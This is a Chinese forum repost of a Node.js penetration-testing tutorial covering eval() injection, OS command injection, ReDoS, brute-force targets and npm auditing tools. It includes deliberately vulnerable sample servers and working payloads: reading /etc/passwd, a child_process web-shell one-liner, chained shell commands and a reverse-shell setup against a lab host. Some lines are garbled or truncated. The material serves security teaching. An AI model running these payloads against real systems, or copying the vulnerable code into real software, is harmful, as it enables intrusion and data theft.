本篇文章較爲詳細的講述了經過node.js的已知漏洞來完成滲透測試的過程,介紹了node.js存在的漏洞能夠在多種工具下的不一樣利用方式。由於我認爲會對論壇部分web安全新手有所幫助,因此整理到論壇中。php
PentestingNode.js Application : Nodejs Application Securityhtml
原文地址:http://www.websecgeeks.com/20...node
由prison翻譯整理,首發i春秋。python
引言:web
因爲原文地址在牆外,因此作下簡介: 本篇文章較爲詳細的講述了經過node.js的已知漏洞來完成滲透測試的過程,介紹了node.js存在的漏洞能夠在多種工具下的不一樣利用方式。由於我認爲會對論壇部分web安全新手有所幫助,因此整理到論壇中。難度係數:三顆星。
關於Node.js的介紹咱們這裏就再也不贅述。正則表達式
今天咱們主要講下Node.js的一些能夠對滲透測試工做有一些幫助的漏洞。爲了更好地讓你們理解,我會對其中一些代碼進行分shell
析。express
1 你能夠很容易的從網絡上下載並安裝Node.js到本身的電腦npm
2 在咱們的事例中我使用了Node.js的一個框架Express,你能夠把它安裝到本身的電腦json
建立一個目錄,我這裏命名爲nodeapp
$ mkdir nodeapp
$ cd nodeapp
用npm init 命令爲你的項目建立一個package.json文件。
這個命令會詢問你一些像是項目名稱,版本之類的問題,你能夠一直按回車鍵選擇默認。
如今在nodeapp目錄下安裝Express
$npm install expres –save
你也能夠選擇臨時安裝express,而不將它添加到依賴項列表中。
$npm install express
Eval()函數很危險遠程代碼執行(利用服務器端JavaScript注入)【JavaScript任意代碼執行】
eval()是一個危險的函數,任何輸入均可以經過它執行,造成一種遠程命令執行場景,程序能夠越權執行。
示例1:
var x = 2;
var y = 2;
var z = '10'';
eval('x + y + 6'); // returns 10
eval(z); // returns 10
Both eval() will return value 10.
示例2:
ar express = require('express');[/align]var app = express();
app.get('/', function(req, res) {
var resp=eval("("+req.query.input+")");
res.send('Output'+resp);
});
app.listen(8001);
[codeexe.js]
如你所見,顯然eval函數從輸入參數中獲取輸入,而不須要轉義或過濾直接傳遞給eval()。這是一個很常見的典型的例子。
用戶能夠經過將代碼傳遞給輸入參數來利用這個漏洞。
首先咱們啓動咱們的js代碼
node filename.js
node codexe.js
若是你啓動時看到一些錯誤,多是其餘正在運行的服務佔用了端口,因此首先咱們要用ps命令找到這些服務。
kill掉pid爲2959的codexe.js
咱們接着啓動js代碼
首先,咱們將一個簡單的用戶輸入傳遞給咱們代碼中的輸入參數:http://127.0.0.1:8001/?4444441111
咱們用一些關於Node.js代碼執行的payload
process.arch
process.argv
process.argv0
process.channel
process.cwd()
process.geteuid()
process.getegid()
process.getgroups()
process.pid
process.platform
process.version
丟到Burp的Intruder:
導入咱們的payload
從爆破結果來看,咱們能夠發現其中一個叫作process.cwd()返回了當前目錄值」/Users/narendrabhati/Node JS Pentesting」
確認以後,咱們就能夠在文件中作一些咱們想作的壞事啦~
http://127.0.0.1:8001/?input=...‘fs’).readFileSync(‘/etc/passwd’).toString())
如今咱們搞一個簡單的webshell,像PHP shell那樣嬸兒的,你能夠在其中執行/注入系統命令。
下面的payload將會啓動一個新的服務器,或者在八秒後你能夠在8002端口上找到一個新的node.js應用。讓咱們搞點花樣出來:
setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {"Content-Type": "text/plain"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8002); }, 8000)
8秒以後你能夠經過cmd進行命令執行、
http://127.0.0.1:8002/?cmd=ls...–a:whoami
反向鏈接Reverse Shell要得到一個反向shell,咱們可使用nodejsshell.py你能夠在這裏找到python腳本
該腳本將根據攻擊者ip和攻擊者本地端口建立一個js代碼。
當您與node js應用程序有直接鏈接時,或者二者都在同一個網絡中,這就很是方便了。
下面我用Kali機器192.168.131.134測試了成功Ping,而後運行了nodejsshell.py個人kali機器ip地址爲192.168.131.134,端口4444。
個人kali在等待鏈接4444端口:
我經過nodejsshell.py在這個項目中注入代碼:
而後個人kali獲得了一個反向shell
2)遠程操做系統命令執行
相似於遠程代碼執行(利用服務器端JavaScript注入),這個漏洞也容許攻擊者執行任意的命令執行。關鍵的區別在於,這個漏洞
的出現是由於因爲使用了不安全的容許在系統間進行交互的exe.exec形成的。
[nodejsrce.js]
var http = require("http");
var url = require("url");
var exe = require('child_process');
http.createServer(function(request, response)
{
var parsedUrl = url.parse(request.url, true);
response.writeHead(200, {"Content-Type": "text/html"});
exe.exec('ping -c 4 ' + parsedUrl.query.inject, function (err,data)
{
response.write("RCE-DEMO " + data);
});
}).listen(8005);
經過查看源代碼,咱們能夠說,exe。exec經過注入參數接受用戶輸入,而不須要過濾或轉義用戶輸入。所以,用戶/攻擊者能夠注入任何容許他執行nodejs遠程OS命令執行的值。
下面是咱們的應用程序ping命令示例。
http://127.0.0.1:8005/?inject...
我不打算將命令執行的基礎知識,你能夠在網絡上找到關於命令執行的文章。
咱們構造出一個典型的命令執行url:
http://127.0.0.1:8005/?inject... ls
咱們能夠同時傳遞多個命令:
http://127.0.0.1:8005/?inject... ; whoami ; pwd ; ls-al
3) RegExp DOS 漏洞關於這個漏洞請參考:https://www.owasp.org/index.p...
正則表達式拒絕服務(ReDoS)是拒絕服務攻擊,它利用了一個事實,即大多數正則表達式實現可能會到達極端狀況,致使它們的工做很是緩慢(與輸入大小相關)。而後,攻擊者就可使用正則表達式來執行一個程序,從而進入這些極端狀況,而後掛起很長一段時間。
在短期內,攻擊者能夠經過發送大量假數據來濫用正則表達式驗證,這使得應用程序消耗大量服務器資源,從而致使其餘用戶沒法得到服務/應用程序的可用性。
[ nodejsregexp.js]
var http = require("http");
var url = require("url");
http.createServer(function(request, response)
{
starttime = process.hrtime();
var emailExpression = /^([a-zA-Z0-9_.-])+@(([a-zA-Z0-9-])+.)+([a-zA-Z0-9]{2,4})+$/;
var parsedUrl = url.parse(request.url, true);
response.writeHead(200, {"Content-Type": "text/html"});
response.write("Email Validation : "+emailExpression.test( parsedUrl.query.email ));
response.write("Server Response Time: " + process.hrtime(starttime));
response.end();
}).listen(8006);
在輸入var emailExpression= /^([a-zA-Z0-9_.-])+@(([a-zA-Z0-9-])+.)+([a-zA-Z0-9]{2,4})+$/;以後,容易受到DOS攻擊,攻擊者能夠將大量的輸入傳遞給應用程序。致使服務/應用程序不可用。
http://127.0.0.1:8006/?email=...
這樣大量的輸入將會致使應用程序大量消耗服務器資源。
4 ) Brute Force/Rate LimitProtection在對node js應用程序進行測試時,老是尋找能夠執行暴力/wordlist攻擊的端點。例如:
A)忘記了密碼錶單:嘗試枚舉現有的用戶
B)OTP-OTP主要用於密碼重置,移動驗證,建立賬戶
C)密碼重置代碼:有時密碼重置令牌可能存在爆破可能。
5)NPM
現有的npm包可能有一些存在的漏洞。如今Node安全項目對此進行了補救。
使用NSP工具,咱們能夠查找現有的漏洞。
如下命令將安裝nps。
npm i nsp –g
nsp check module-name-to-audited[檢查是否有漏洞]
或者是
nsp module-name-to-audite.json
6)自動掃描
咱們可使用NodeJSScan進行自動化的漏洞掃描。